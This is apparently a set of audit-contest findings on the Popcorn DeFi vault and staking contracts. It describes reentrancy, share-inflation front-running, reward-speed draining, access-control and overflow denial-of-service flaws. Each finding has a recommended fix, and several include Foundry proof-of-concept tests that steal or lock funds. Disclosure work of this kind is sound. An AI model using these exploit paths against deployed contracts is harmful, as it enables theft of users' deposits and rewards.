Popcorn contest - gjaldon's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L178-L186

Vulnerability details

Impact

If an ERC-777 token is used as reward token for any Staking contract in the system, that reward token can be completely drained from the Staking contract.

Proof of Concept

Re-entrancy can be done in the MultiRewardStaking.claimRewards function because of the following code:

      if (escrowInfo.escrowPercentage > 0) {
        _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
      } else {
        _rewardTokens[i].transfer(user, rewardAmount);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
      }

      accruedRewards[user][_rewardTokens[i]] = 0;

In the above code, the accounting for the user's accrued rewards for a given token is done after the transfer. This does not adhere to the checks-effects-interactions principle that prevents re-entrancies. Also, the function does not use the nonReentrant modifier.

Because of these reasons, the attacker can then call claimRewards for an ERC-777 reward token and can keep calling/re-entering claimRewards until all of the reward tokens in the Staking contract are sent to him. Like all re-entrancies, it's done within one transaction.

Tools Used

VSCode

Recommended Mitigation Steps

Add nonReentrant modifier to the function or update the accounting records before transferring out the tokens.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L106-L110 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultRegistry.sol#L44-L53

Vulnerability details

Impact

Anyone can deploy a Vault with a malicious Staking contract attached. If the Staking contract already exists, we can just pass its address to deployVault and no checks will be applied to see whether the Staking contract matches valid Staking templates in the Template Registry.

An attacker can create malicious Staking contract that acts like a regular ERC-4626 vault but with a backdoor function that allows them to withdraw all the deposited funds in the contract. Users may assume the Staking contract is valid and safe and will deposit their funds into it. This will lead to loss of funds for users and huge loss of credibility for the protocol.

Proof of Concept

The below PoC shows the behavior described above where any Staking contract can be deployed with a Vault. The below lines will need to be added to the VaultController.t.sol file.

  function test__deploy_malicious_staking_contract() public {
    addTemplate("Adapter", templateId, adapterImpl, true, true);
    addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
    addTemplate("Vault", "V1", vaultImpl, true, true);

    // Pretend this malicious Staking contract allows attacker to withdraw
    // all the funds from it while allowing users to use it like a normal Staking contract
    MultiRewardStaking maliciousStaking = new MultiRewardStaking();

    vm.startPrank(alice);
    address vault = controller.deployVault(
      VaultInitParams({
        asset: iAsset,
        adapter: IERC4626(address(0)),
        fees: VaultFees({
          deposit: 100,
          withdrawal: 200,
          management: 300,
          performance: 400
        }),
        feeRecipient: feeRecipient,
        owner: address(this)
      }),
      DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }),
      DeploymentArgs({ id: 0, data: "" }),
      address(maliciousStaking),
      "",
      VaultMetadata({
        vault: address(0),
        staking: address(maliciousStaking),
        creator: alice,
        metadataCID: metadataCid,
        swapTokenAddresses: swapTokenAddresses,
        swapAddress: address(0x5555),
        exchange: uint256(1)
      }),
      0
    );
    vm.stopPrank();

    assertEq(vaultRegistry.getVault(vault).staking, address(maliciousStaking));
  }

The test can be run with the following command: forge test --no-match-contract 'Abstract' --match-test test__deploy_malicious_staking_contract

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

1. Add checks to verify that the Staking contract being used in deployVault is a Staking contract that was deployed by the system and uses an approved template: https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L106-L110

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L108-L110 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L483-L503 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L296-L315 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L351-L360 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L377-L378 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L390-L399

Vulnerability details

Impact

Attacker can steal 99% of the balance of a reward token of any Staking contract in the blockchain. An attacker can do this by modifying the reward speed of the target reward token.

So an attacker gets access to changeRewardSpeed, he will need to deploy a vault using the target Staking contract as its Staking contract. Since the Staking contract is now attached to the attacker's created vault, he can now successfully changeRewardSpeed. Now with changeRewardSpeed, attacker can set the rewardSpeed to any absurdly large amount that allows them to drain 99% of the balance (dust usually remains due to rounding issues) after some seconds (12 seconds in the PoC.)

Proof of Concept

This attack is made possible by the following issues:

1. Any user can deploy a Vault that uses any existing Staking contract - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L106-L108
2. As long as attacker is creator of a Vault that has the target Staking contract attached to it, attacker can call changeStakingRewardSpeeds to modify the rewardSpeeds of any reward tokens in the target Staking contract - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L495-L501
3. There are no checks for limits on the rewardsPerSecond value in changeRewardSpeed so attacker can set any amount they want - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L299-L314
4. changeRewardSpeed also uses _calcRewardsEnd to get the new rewardsEndTimestamp but that calculation is faulty and the new timestamp is always longer than it's supposed to be leading to people being able to claim more rewards than they should get - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L351-L360

Below is the PoC using a Foundry test:

  function test__steal_rewards_from_any_staking_contract() public {
    addTemplate("Adapter", templateId, adapterImpl, true, true);
    addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
    addTemplate("Vault", "V1", vaultImpl, true, true);

    // 1. deploy regular legit vault owned by this
    address vault = deployVault();
    address staking = vaultRegistry.getVault(vault).staking;

    rewardToken.mint(staking, 1_000_000 ether);

    vm.startPrank(bob);
    asset.mint(bob, 10000 ether);
    asset.approve(vault, 10000 ether);
    IVault(vault).deposit(10000 ether, bob);
    IVault(vault).approve(staking, 10000 ether);
    IMultiRewardStaking(staking).deposit(9900 ether, bob);
    vm.stopPrank();

    vm.startPrank(alice);
    // 2. deploy attacker-owned vault using the same Staking contract as legit vault
    // alice is the attacker
    address attackerVault = controller.deployVault(
      VaultInitParams({
        asset: iAsset,
        adapter: IERC4626(address(0)),
        fees: VaultFees({
          deposit: 100,
          withdrawal: 200,
          management: 300,
          performance: 400
        }),
        feeRecipient: feeRecipient,
        owner: address(this)
      }),
      DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }),
      DeploymentArgs({ id: 0, data: "" }),
      staking,
      "",
      VaultMetadata({
        vault: address(0),
        staking: staking,
        creator: alice,
        metadataCID: metadataCid,
        swapTokenAddresses: swapTokenAddresses,
        swapAddress: address(0x5555),
        exchange: uint256(1)
      }),
      0
    );

    asset.mint(alice, 10 ether);
    asset.approve(vault, 10 ether);
    IVault(vault).deposit(10 ether, alice);
    IVault(vault).approve(staking, 10 ether);
    IMultiRewardStaking(staking).deposit(1 ether, alice);

    address[] memory targets = new address[](1);
    targets[0] = attackerVault;
    IERC20[] memory rewardTokens = new IERC20[](1);
    rewardTokens[0] = iRewardToken;
    uint160[] memory rewardsSpeeds = new uint160[](1);
    rewardsSpeeds[0] = 990_099_990 ether;
    controller.changeStakingRewardsSpeeds(targets, rewardTokens, rewardsSpeeds);

    assertGt(rewardToken.balanceOf(staking), 1_000_000 ether);

    vm.warp(block.timestamp + 12);
    MultiRewardStaking(staking).claimRewards(alice, rewardTokens);

    assertGt(rewardToken.balanceOf(alice), 999_999 ether);
    assertLt(1 ether, rewardToken.balanceOf(staking));
    vm.stopPrank();
  }

The PoC shows that the attacker, Alice, can drain any reward token of a Staking contract deployed by a different vault owner. In this test case, Alice does the attack described above stealing a total 999,999 worth of reward tokens (99% of reward tokens owned by the Staking contract.) Note that the attacker can tweak the amount they stake in the contract, the reward speed they'll use, and the seconds to wait before, before claiming rewards. All of those things have an effect on the cost of the attack and how much can be drained.

The test can be run with: forge test --no-match-contract 'Abstract' --match-test test__steal_rewards_from_any_staking_contract

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

1. Don't allow any Vault creator to use and modify just ANY Staking contract - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L106-L108
2. Add checks to limit how high rewardsPerSecond can be when changing rewardSpeed. Maybe make it so that it takes a minimum of 1 month (or some other configurable period) for rewards to be distributed. - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L299-L314
3. Fix calcRewardsEnd to compute the correct rewardsEndTimestamp by taking into account total accrued rewards until that point in time - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L351-L360

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L147-L151 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L295-L300 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L285-L287

Vulnerability details

Impact

An attacker can front-run the first depositor to the Vault and steal 25% of the depositor's funds. This is possible by manipulating the exchange rate of the shares by transferring tokens directly to the Adapter contract.

The main issue is in how convertToShares works. If there's no existing supply of Vault tokens, the conversion rate of asset:share is 1:1. The attacker can increase the asset:share ratio by transferring asset tokens directly to the Adapter contract and depositing only 1 unit of asset into the Vault contract. This makes 1 share more expensive.

So if the first depositor deposits 10,000 ether, the attacker can front-run the deposit with a transaction that deposits 1 unit into the Vault and transfers 5,000 ether of assets directly to the Adapter contract. This will lead to the following:

1. Attacker has 1 Vault share
2. Depositor gets 1 Vault share that was worth 10,000 ether of assets! This happens because of the following code:

  function convertToShares(uint256 assets) public view returns (uint256) {
    uint256 supply = totalSupply(); // Saves an extra SLOAD if totalSupply is non-zero.

    return
      supply == 0
        ? assets
        : assets.mulDiv(supply, totalAssets(), Math.Rounding.Down);
  }

Since supply is 1 because the Attacker has 1 share, the exchange rate becomes (10,000 ether * 1) / 5,000.000000000000000001 ether rounded down. The result is ~1.99 but since it is rounded down, it becomes 1. So the depositor gets 1 share for 10,000 ether of assets.

Note that this can happen for any amount deposited as long as attacker transfers half that amount in assets directly to the Adapter contract.

Proof of Concept

Below is a PoC test case that simulates the attack. Add the test case to the test file Vault.t.sol and run it with the command forge test --no-match-contract 'Abstract' --match-test test__inflation_attack:

  function test__inflation_attack() public {
    address vaultAddress = address(new Vault());
    Vault newVault = Vault(vaultAddress);

    newVault.initialize(
      IERC20(address(asset)),
      IERC4626(address(adapter)),
      VaultFees({ deposit: 0, withdrawal: 0, management: 0, performance: 0 }),
      feeRecipient,
      bob
    );

    asset.mint(alice, 10000 ether);
    asset.mint(bob, 10000 ether);

    // Alice frontruns Bob's deposit of 10,000 ether by depositing 1 asset and then
    // transferring 5000 ether of token assets directly to the Adapter contract.
    vm.startPrank(alice);
    asset.approve(vaultAddress, 10000 ether);
    newVault.deposit(1);
    asset.transfer(address(adapter), 5000 ether);
    vm.stopPrank();

    vm.startPrank(bob);
    asset.approve(vaultAddress, 10000 ether);
    newVault.deposit(10000 ether);
    newVault.redeem(newVault.balanceOf(bob));
    vm.stopPrank();

    // After Bob's deposit, Alice can now withdraw 2,500 ether more of assets from
    // the Vault contract. She just stole 2,500 ether from Bob's deposit. :(
    vm.startPrank(alice);
    newVault.redeem(newVault.balanceOf(alice));
    vm.stopPrank();

    assertEq(asset.balanceOf(alice), 12500 ether);
    assertGt(asset.balanceOf(alice), asset.balanceOf(bob));
  }

In the test case, Alice is the attacker and steals Bob's 2,500 ether.

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Mint some funds (10**3) to address(0) when initializing the Vault. That way, totalSupply will never be 0 and it will be prohibitively more expensive to inflate the exchange rates. This is somewhat similar to what Uniswap has done: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L669 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L448 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L608 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L621 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L634 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L647

Vulnerability details

Impact

Neither creator nor owner will be able to run management functions on some of their vaults. It effectively makes the feature where owner can be different from the creator of a vault unusable. This impacts protocol's intended function of allowing creators to manage their own vaults.

Proof of Concept

Add the following test case to VaultController.t.sol:

  function test__inaccessible_vaults() public {
    addTemplate("Adapter", templateId, adapterImpl, true, true);
    addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
    addTemplate("Vault", "V1", vaultImpl, true, true);
    // // 1. deploy regular legit vault owned by this
    address vault = deployVault();
    address staking = vaultRegistry.getVault(vault).staking;

    // 2. deploy attacker-owned vault using the same Staking contract as legit vault
    vm.startPrank(alice);
    address vaultClone = controller.deployVault(
      VaultInitParams({
        asset: iAsset,
        adapter: IERC4626(address(0)),
        fees: VaultFees({
          deposit: 100,
          withdrawal: 200,
          management: 300,
          performance: 400
        }),
        feeRecipient: feeRecipient,
        owner: address(this)
      }),
      DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }),
      DeploymentArgs({ id: 0, data: "" }),
      staking,
      "",
      //   abi.encode(address(rewardToken), 0, 0, true, 10000000, 2 days, 1 days),
      VaultMetadata({
        vault: address(0),
        staking: staking,
        creator: alice,
        metadataCID: metadataCid,
        swapTokenAddresses: swapTokenAddresses,
        swapAddress: address(0x5555),
        exchange: uint256(1)
      }),
      0
    );
    bytes[] memory rewardTokenData = new bytes[](1);
    rewardTokenData[0] = abi.encode(
      address(rewardToken),
      0.1 ether,
      1 ether,
      true,
      10000000,
      2 days,
      1 days
    );
    address[] memory vaults = new address[](1);
    vaults[0] = vaultClone;

    vm.expectRevert();
    controller.addStakingRewardsTokens(vaults, rewardTokenData);
    vm.expectRevert();
    controller.pauseAdapters(vaults);
    vm.expectRevert();
    controller.unpauseAdapters(vaults);
    vm.expectRevert();
    controller.pauseVaults(vaults);
    vm.expectRevert();
    controller.unpauseVaults(vaults);
    vm.stopPrank();

    vm.expectRevert();
    controller.addStakingRewardsTokens(vaults, rewardTokenData);
    vm.expectRevert();
    controller.pauseAdapters(vaults);
    vm.expectRevert();
    controller.unpauseAdapters(vaults);
    vm.expectRevert();
    controller.pauseVaults(vaults);
    vm.expectRevert();
    controller.unpauseVaults(vaults);
  }

Run forge test --no-match-contract 'Abstract' --match-test test__inaccessible_vaults in the command line and the tests will pass. The tests are not supposed to pass since since all those functions are not supposed to revert when called by creator or owner.

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Change the line https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L669 to the following:

if (msg.sender != metadata.creator && msg.sender != owner) revert NotSubmitterNorOwner(msg.sender);

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L443-L471 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L265-L270 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L178-L179 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L201 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L97-L98

Vulnerability details

Impact

When a Vault owner/create adds a reward token to the Staking contract with faulty escrow config parameters, the reward tokens sent to the Staking contract will forever be locked up. This can happen since there are no validity checks on the values of the Escrow config for the reward tokens when adding a reward token to the Staking contract via the VaultController.

Proof of Concept

Below are the steps to reproduce the issue:

1. Vault Creator/Owner adds a reward token to the Staking contract of a vault they own/created, passing Escrow configuration parameters of useEscrow = true, escrowDuration = 0 and escrowPercentage = 1. This passes without issue since there are no validity checks for the Escrow config in the following lines: https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L443-L471 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L265-L271

2. This issue not noticeable until someone attempts to claimRewards for that misconfigured rewardToken from the Staking contract. This will always revert for all users trying to claim rewards for the affected rewardToken since it always attempts to lock some funds in escrow: https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L178-L180 And one of these checks in Escrow.lock will always fail since escrowDuration was set to 0 and escrowPercentage is so low that rewards must be so high for the escrow amount to not be 0: https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardEscrow.sol#L97-L98

3. Reward tokens for that misconfigured rewardToken contract will now forever be locked in the Staking contract leading to loss of funds vault creator/owner.

Tools Used

VSCode

Recommended Mitigation Steps

1. Add validity checks for escrowDuration and escrowPercentage before these lines: https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L265-L270 Make sure that escrowDuration is greater than 0 and that escrowPercentage is high enough that it won't always trigger reverts when users claim rewards.
2. If reward amounts are too small, the escrow amount will be 0 and that will revert the claimRewards so users will not be able to claim rewards. Maybe check if there are escrowed amount is greather than 0 and only call Escrow.lock if it is. That way, users with small rewards will always be able to claim funds. Note that only users will larger rewards at time of claiming will have funds escrowed for smaller escrow percentages.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L307-L314 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L356-L357 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L390-L399 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L377

Vulnerability details

Impact

There is a flaw in the calculation of the new rewardsEndTimestamp. When changingRewardSpeed to twice as fast, instead of an earlier rewardsEndTimestamp, the system updates to a later rewardsEndTimestamp. Because of this, accrueRewards will keep accruing rewards even beyond the remaining balance of rewards.

This leads to either more rewards claimed by some users at the expense of others until no more reward tokens remain. This means Alice can end up with twice the amount of reward tokens she's supposed to get while Bob gets 0. Also, if accrued rewards are higher than remaining balance, this can lock up some of the rewards in the Staking contract.

Proof of Concept

Below are the steps to reproduce the issue:

1. Vault creator calls VaultController.changeStakingRewardsSpeeds to increase the reward speed for a given reward token before the reward token's end period.
2. Let's say the original rewardToken parameters were: rewardAmount - 10 ether rewardSpeed - 0.1 ether per second rewardsEndTimestamp - 101 seconds

Changing the reward speed changes the rewardToken parameters to the following: rewardAmount - 10 ether rewardSpeed - 0.2 ether per second rewardsEndTimestamp - 151 seconds

Note that the rewardsEndTimestamp is later even though rewardSpeed is faster.

3. Now, every time accrueRewards is called, it will accrue rewards up until the rewardsEndTimestamp. That means that a total number of 0.2 ether * 151 seconds (rewardSpeed * rewardsEndPeriod), will be allotted as rewards to users. That would be a total of 30.2 ether which is way more than the amount of rewardTokens available.

4. The first users to claim rewards while the are reward tokens remaining will receive more tokens than they are supposed to while the remaining users will not be able to claim any rewards.

Below is a test case to show the bug:

  function test__changeRewardSpeed_Bug() public {
    _addRewardToken(rewardToken1);

    stakingToken.mint(alice, 1 ether);
    stakingToken.mint(bob, 1 ether);

    vm.prank(alice);
    stakingToken.approve(address(staking), 1 ether);
    vm.prank(bob);
    stakingToken.approve(address(staking), 1 ether);

    vm.prank(alice);
    staking.deposit(1 ether);

    vm.prank(bob);
    staking.deposit(1 ether);

    (, , uint32 oldRewardsEndTimestamp, , ) = staking.rewardInfos(
      iRewardToken1
    );

    staking.changeRewardSpeed(iRewardToken1, 0.2 ether);

    (, , uint32 newRewardsEndTimestamp, , ) = staking.rewardInfos(
      iRewardToken1
    );

    console.log(
      "Even though we increase the reward speed to 2x faster, the newRewardsEndTimestamp becomes later instead of earlier"
    );
    console.log("oldRewardsEndTimestamp: ", oldRewardsEndTimestamp);
    console.log("newRewardsEndTimestamp: ", newRewardsEndTimestamp);

    // We advance time to the oldRewardsEndTimestamp
    vm.warp(block.timestamp + 100);

    IERC20[] memory rewardTokens = new IERC20[](1);
    rewardTokens[0] = iRewardToken1;

    // Claiming the rewards 1 second later will mean the rewards will get locked up :(
    staking.claimRewards(alice, rewardTokens);
    // Alice ends up with all of the reward tokens!
    assertEq(rewardToken1.balanceOf(alice), 10 ether);

    vm.expectRevert("ERC20: transfer amount exceeds balance");
    // Bob gets 0 reward tokens even though he staked at the same time as Alice
    staking.claimRewards(bob, rewardTokens);
  }

The test will need to be added to the test file MultiRewardStaking.t.sol and it can be run with: forge test --no-match-contract 'Abstract' --match-test test__changeRewardSpeed_Bug

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Change _calcRewardsEnd logic at https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L351-L360. It should compute the new rewardsEndTimestamp based on ((remainingRewardBalance - accruedRewardsAtOldRewardSpeed) / rewardsPerSecond) + block.timestamp.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L108-L110 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L448 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L112 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L127 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L141 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L170 https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L373

Vulnerability details

Impact

This allows attackers to disable any Staking contract deployed via the system, essentially locking up all funds within the Staking contract. It would lead to a significant loss of funds for all users and the protocol who have staked their Vault tokens. All Staking contracts can be disabled by an attacker. The attack is possible once vault deployments become permissionless which is the primary goal of the Popcorn protocol.

Proof of Concept

The attack is possible because of the following behaviors:

1. Any Vault creator can use any Staking contract that was previously deployed by the system - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L108-L110
2. Any Vault creator can add rewards tokens to the Staking contract attached to their Vault. Note that this Staking contract could be the same contract used by other vaults - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L448
3. There are no checks to limit the number of rewardTokens added to a Staking contract - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L263
4. All critical functions in the Staking contract such as withdraw, deposit, transfer and claimRewards automatically call accrueRewards modifier.
5. accrueRewards iterates through all rewardTokens using a uint8 index variable - https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L373

First, verifyCreatorOrOwner needs to be fixed so that it allows either creator or owner to run functions it protects like it's meant to with the below code:

if (msg.sender != metadata.creator && msg.sender != owner) revert NotSubmitterNorOwner(msg.sender);

Once this fix is implemented and the protocol enables permissionless vault deployment, the following attack path opens up:

1. Some legit vaults have already been deployed by owner of the protocol or others and they have a Staking contract with significant funds
2. Attacker deploys vault using the same Staking contract deployed by any other vault owner/creator. This Staking contract is the target contract to be disabled.
3. Attacker adds 255 reward tokens to the Staking contract to trigger DOS in any future transactions in the Staking contract
4. Calling any transaction function in the Staking will always revert due to arithmetic overflow in the accrueRewards modifier that loops over all the rewardTokens state variable. The overflow is caused since the i variable used in the for loop inside accrueRewards uses uint8 and it keeps looping as long as i < rewardTokens.length. That means if rewardTokens has a length of 256, it will cause i uint8 variable to overflow.

The steps for described attack can be simulated with the below test that will need to be added to the VaultController.t.sol test file:

  function test__disable_any_staking_contract() public {
    addTemplate("Adapter", templateId, adapterImpl, true, true);
    addTemplate("Strategy", "MockStrategy", strategyImpl, false, true);
    addTemplate("Vault", "V1", vaultImpl, true, true);

    // 1. deploy regular legit vault owned by this
    address vault = deployVault();
    address staking = vaultRegistry.getVault(vault).staking;

    vm.startPrank(alice);
    // 2. deploy attacker-owned vault using the same Staking contract as legit vault
    // alice is the attacker
    address attackerVault = controller.deployVault(
      VaultInitParams({
        asset: iAsset,
        adapter: IERC4626(address(0)),
        fees: VaultFees({
          deposit: 100,
          withdrawal: 200,
          management: 300,
          performance: 400
        }),
        feeRecipient: feeRecipient,
        owner: address(this)
      }),
      DeploymentArgs({ id: templateId, data: abi.encode(uint256(100)) }),
      DeploymentArgs({ id: 0, data: "" }),
      staking,
      "",
      VaultMetadata({
        vault: address(0),
        staking: staking,
        creator: alice,
        metadataCID: metadataCid,
        swapTokenAddresses: swapTokenAddresses,
        swapAddress: address(0x5555),
        exchange: uint256(1)
      }),
      0
    );

    // 3. Attacker (Alice) adds 255 reward tokens to the Staking contract
    bytes[] memory rewardsData = new bytes[](255);
    address[] memory targets = new address[](255);
    for (uint256 i = 0; i < 255; i++) {
      address _rewardToken = address(
        new MockERC20("Reward Token", string(abi.encodePacked(i)), 18)
      );

      targets[i] = attackerVault;
      rewardsData[i] = abi.encode(
        _rewardToken,
        0.1 ether,
        0,
        true,
        10000000,
        2 days,
        1 days
      );
    }
    controller.addStakingRewardsTokens(targets, rewardsData);

    asset.mint(alice, 100 ether);
    asset.approve(vault, 100 ether);
    IVault(vault).deposit(100 ether, alice);
    IVault(vault).approve(staking, 100 ether);

    // 4. This Staking.deposit call or any other transaction will revert due to arithmetic overflow
    // essentially locking all funds in the Staking contract.
    IMultiRewardStaking(staking).deposit(90 ether, alice);
    vm.stopPrank();
  }

Please be reminded to fix verifyCreatorOwner first before running the above test. Running the test above will cause the call to Staking.deposit to revert with an Arithmetic over/underflow error which shows that the Staking contract has successfully be DOS'd. The following is the command for running the test:

forge test --no-match-contract 'Abstract' --match-test test__disable_any_staking_contract

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

1. https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/VaultController.sol#L108-L110 - users shouldn't be allowed to deploy using just any Staking contract for their vaults. Because of this, any Vault creator can manipulate a Staking contract which leads to the DOS attack path.
2. https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L263 - add a check to limit the number of rewardTokens that can be added to the Staking contract so that it does not grow unbounded.
3. https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L371-L382 - calculation in rewards accrual should be changed so that it does not have to iterate through all rewards tokens. There should be one global index used to keep track of rewards accrual and only that one storage variable will be updated so that gas cost does not increase linearly as more rewardTokens are added.